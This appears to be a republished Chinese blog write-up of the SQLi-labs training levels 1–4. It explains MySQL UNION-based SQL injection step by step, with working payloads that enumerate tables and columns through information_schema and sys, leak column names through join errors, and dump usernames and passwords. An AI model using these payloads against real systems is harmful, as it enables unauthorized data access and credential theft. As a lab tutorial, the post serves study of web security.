【安全】Sqllabs(1-4) 多种情况浅析

news2024/11/28 2:36:55

目录

 环境⭐

先要 ⭐⭐⭐⭐⭐

Less - 1 (information_shcema)

Less - 2 (假设没有information_schema)

Less - 3 (无列名注入)

Less - 4 


 环境⭐

     MySQL8.0.12

     Nginx1.15.11 

先要 ⭐⭐⭐⭐⭐

 MySQL5.0以上有这几个数据库mysql, sys,information_schema

 information_schema:

这个数据库下有两张关键的表,一个是tables,一个是columns

 👆这是tables表,会将数据库名(table_schema)与表名(table_name)联立起来,方便查看这个数据库下到底有哪些表

 👆这是columns表,这个更齐一点,把字段名(column_name)与表和数据库的关系都对应起来了

但是在爆出表名的时候还是会有些许的问题,因为这个表每个字段都会有对应,所以在查表名的时候表名可能会重复出现多次(具体多少次看这个表有多少个字段)

sys:

    sys.schema_auto_increment_columns:[这个库有局限,只有root才能访问]

     sys.x$schema_table_statistics_with_buffer:

    sys.x$schema_table_statistics:

    sys.x$ps_schema_table_statistics_io

Less - 1 (information_shcema)

分析: 

   提示输入id的值

   看起来是返回对应序号的用户与密码,构造个payload判断一下是什么类型

 

  没报错显然是个字符型 ,那就闭合开始构造

+++++++++++++

注入:

  ①判断字段

【扩展】

        判断字段的方法一:联合查询 union select 1,2,3 --+ (这种方式过于繁琐,一旦遇到字段很多的就坏了,只能一个一个写 写到所有列数为止)

        判断字段的方法二:order by 3 --+  (这种方式推荐使用,原理是用数字来代替字段名,如果没有这一字段就会报错)

  ②看显示位   ?id=-1' union select 1,2,3 --+(注意让前面id= -1使前半部分查询失败)

   ③看数据库版本与当前数据库  ?id=-1' union select 1,database(),version() --+

   ④看当前数据库下有哪些表(先要中详细介绍过了)

?id=-1' union select 1,database(),group_concat(table_name) 
from information_schema.tables where table_schema='security' --+
【注意:group_concat是将查询结果放在一起,这里显示位只显示一个
数值,所以用select是不行的】

   ⑤估计关键信息都在users表里了,爆出字段名

?id=-1' union select 1,database(),group_concat(column_name) 
from information_schema.columns where table_name='users' --+

     很明显这个username和password就是我们要的东西。

⑥最终payload:(那个0x3a是ASCII码十六进制意思是:拿来当分隔符而已)

?id=-1' union select 1,database(),group_concat(username,0x3a,password) 
from users --+

Less - 2 (假设没有information_schema)

 分析:

    看起来和less1差不多,接下来判断一下是字符型还是数字型 

    报错了,好样的一看就是数字型那甚至不用 ' 闭合了

注入: 

    和Less1一致,依次看信息最后联合注入即可

①爆字段数 闭合后同Less1

②爆显示位 闭合后同Less1

③爆表名

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_auto_increment_columns where table_schema=database()--+

//只是举例,先要中sys的三个表在这都可以用

?id=-1 union select 1,2,group_concat(table_name)
from sys.schema_table_statistics_with_buffer where table_schema=database()--+

 ④爆字段名【在不用information_schema.columns的情况下】

?id=-1 union select * 
from (select * from users as a join users as b)as c--+
后面那句意思把两张表联立起来作为一张新表c作为外层的from查的表
因为a表和b表其实都是users表,所以会报列名重复的错,但是只会报第一列

    目前只能爆出第一列,还需要接着爆

?id=-1 union select * 
from (select * from users as a join users b using(id))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username))c--+

?id=-1 union select * 
from (select * from users as a join users b using(id,username,password))c--+

 

 

?id=-1 union select 1,2,group_concat(username,0x3a,password) 
from users --+

   Less2与Less1其实只有一个区别就是sql语句是字符型还是数字型,这里只是演示没有information_schema这个数据库的权限的时候查什么。

Less - 3 (无列名注入)

分析:

    又是传id

    好像和前两个差不多,判断是数字还是字符?id=1 order by 9999 --+

    字符型,试着闭合 

    提示在第一行的值旁边报错了,那用 ') 闭合一下试试

    闭合成功 

注入:

?id=1") order by 3 --+  //字段数

?id=-1') union select 1,2,3 --+   //显示位

?id=-1') union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() --+
​

    无列名的条件下进行注入 :

        正常查询:

         别名联合查询:

     所以我们可以在知道表名和列数的情况下,可以直接构造payload了

?id=-1') union select 1,2,group_concat(`2`,':',`3`) 
from (select 1,2,3 union select * from users)as c --+

Less - 4 (后续补充,基于联合注入)

分析:

     老样子,先传个id

    判断字符型or数字型

    判断出来是字符型,之后尝试闭合

    发现单引号没效果,试试双引号去

    标亮部分是我传的值,说明后边需要一个 ") 来闭合

注入:

    只是闭合方式不同,Less 4就不演示详细过程了

?id=-1") union select 1,2,group_concat(username,0x3a,password) 
from users --+

前四关总结:

        前四关主要使用了基本的联合注入,然后四关的差异主要体现在闭合的方式上,虽然基础,但是还是能让人学到不少东西     

字符型数字型判断参考:http://t.csdn.cn/1PmEI

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/780015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端性能优化——图片优化

一、图片优化措施 优化图片是 Web 前端优化的重要一环,因为图片是 Web 页面中最耗费带宽和加载时间的资源之一。以下是一些通过优化图片来优化 Web 前端的方法: 压缩图片:压缩图片可以减少图片的文件大小,从而减少加载时间。 使…

【数学建模】相关是一个距离指标吗?

一、说明 本文探讨最平凡的数学模型--距离模型。我们知道,任何数学模型如果是个距离模型,那么它是:放心的、自动的、不加任意条件的指标项目。然而另一些度量参数不是距离空间,因此,使用起来必须外加若干条件&#xff…

苹果iOS 16.6 RC发布:或为iPhone X/8系列养老版本

今天苹果向iPhone用户推送了iOS 16.6 RC更新(内部版本号:20G75),这是时隔两个月的首次更新。 按照惯例RC版基本不会有什么问题,会在最近一段时间内直接变成正式版,向所有用户推送。 需要注意的是,鉴于iOS 17正式版即将…

【CN-Docker】window11下Docker下开启kubernetes

1. 安装Docker 安装docker步骤如下: 下载Docker启用hyper-v 2.1.powershell,管理员运行Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All安装wsl配置Docker镜像加速地址(阿里云) 4.1. "registry-mirrors": [&quo…

Qt/C++音视频开发48-推流到rtsp服务器

一、前言 之前已经打通了rtmp的推流,理论上按照同样的代码,只要将rtmp推流地址换成rtsp推流地址,然后格式将flv换成rtsp就行,无奈直接遇到协议不支持的错误提示,网上说要换成rtp,换了也没用,而…

C++之mutable关键字实例(一百六十五)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生…

【C++链表】

目录 前言一、搭建链表实现的框架二、链表的构造函数三、链表的尾插四、链表的遍历(重点)迭代器的遍历const修饰的迭代器 五、代码实现 前言 最近用C写了一下list的基本功能,感触颇深。本以为会跟之前用C写list一样会很轻松,没想到更难了。要考虑的东西…

【数据结构】C--单链表(小白入门基础知识)

前段时间写了一篇关于顺序表的博客,http://t.csdn.cn/0gCRp 顺序表在某些时候存在着一些不可避免的缺点: 问题: 1. 中间 / 头部的插入删除,时间复杂度为 O(N) 2. 增容需要申请新空间,拷贝数据,释放旧空间。会有不…

第110天:免杀对抗-GOC#反VT沙盒逆向调试参数加载资源分离混淆加密

知识点 #知识点: 1、C#-混淆&分离&反调试 2、GO-混淆&分离&反调试 3、成品程序-包含反调试VT#章节点: 编译代码面-ShellCode-混淆 编译代码面-编辑执行器-编写 编译代码面-分离加载器-编写 程序文件面-特征码定位-修改 程序文件面-加壳…

Progressive Dual-Branch Network for Low-Light Image Enhancement 论文阅读笔记

这是22年中科院2区期刊的一篇有监督暗图增强的论文 网络结构如下图所示: ARM模块如下图所示: CAB模块如下图所示: LKA模块其实就是放进去了一些大卷积核: AFB模块如下图所示: 这些网络结构没什么特别的&#xf…

【团队协作开发】将Gitee项目导入到本地IDEA中出现根目录不完整的问题解决(已解决)

前言:在团队协作开发过程中,通常我们的Gitee完整项目中会包含很多内容:后端代码、前端代码、项目结构图、项目文档等一系列资产。 将Gitee项目导入到本地IDEA中,通常会出现根目录不完整的问题。这是因为项目里面包含了后端代码、前…

Matlab的GUI设计

文章目录 AppDesigner各个版本的特点mlapp文件基本格式AppDesigner的回调函数常见控件的属性MVC模式MVC模式设计GUIMVC简单使用 其他让app designer置顶将Guide的GUI导出为m文件将app编译为exe将app中的多个控件组合在一起 AppDesigner 20200328 各个版本的特点 在2017b版本中…

用 Node.js 手写 WebSocket 协议

目录 引言 从 http 到 websocekt 的切换 Sec-WebSocket-Key 与 Sec-WebSocket-Accept 全新的二进制协议 自己实现一个 websocket 服务器 按照协议格式解析收到的Buffer 取出opcode 取出MASK与payload长度 根据mask key读取数据 根据类型处理数据 frame 帧 数据的发…

【C++模拟实现】string的模拟实现

【C模拟实现】string的模拟实现 目录 【C模拟实现】string的模拟实现string模拟实现的标准代码string模拟实现中的要点string构造函数的实现赋值运算符重载迭代器的实现对流插入和流提取运算符的重载find函数的实现insert函数的实现 作者:爱写代码的刚子 时间&#…

MySQL视图概念及作用、操作语法

1.什么是视图 在数据库中有一些用户的敏感数据字段不方便展示,需要隐藏时,这时候就可以利用视图这个概念来实现。 2.视图操作 如何对视图里的数据进行增删改操作呢? 可以直接通过insert语句向视图里面插入数据,语法和向表里插…

移动测试(二)

功能测试点 用户使用习惯 权限问题 硬件问题 比如双卡双待、摄像头、GPU等。 操作习惯 用户常用的有菜单键、Home键、返回键、Home键长按(显示当前进程列表)、调整音量、待机等。相应的作为测试工程师我们需要考虑的项就变成了: • 应用中的…

Docker——基本管理

Docker 基本管理 Docker——基本管理 一、Docker 概述1.Docker的设计理念2.容器的优势3.Docker与虚拟机的区别4.容器在内核中支持2种重要技术5.Docker核心概念5.1 镜像5.2 容器5.3 仓库 二、安装 Docker1.关机防火墙2.安装依赖包3.设置阿里云镜像源4.安装 Docker-CE并设置为开…

PostgreSQL 的事务管理和并发控制机制解析

🌷🍁 博主 libin9iOak带您 Go to New World.✨🍁 🦄 个人主页——libin9iOak的博客🎐 🐳 《面试题大全》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~&#x1f33…

Istio Pilot源码学习(三):xDS的异步分发

本文基于Istio 1.18.0版本进行源码学习 5、xDS的异步分发 DiscoveryService主要包含下述逻辑: 启动GRPC Server并接收来自Envoy端的连接请求接收Envoy端的xDS请求,从ConfigController和ServiceController中获取配置和服务信息,生成响应消息…

使用 ChatGPT 碰到的坑

最近在使用 ChatGPT 的时候碰到一个小坑,因为某些特殊情况我需要使用 syslog 向 logbeat 中发送日志。 由于这是一个比较古老的协议,确实也没接触过,所以就想着让 ChatGPT 帮我生成个例子。 原本我已经在 Go 中将这个流程跑通,所…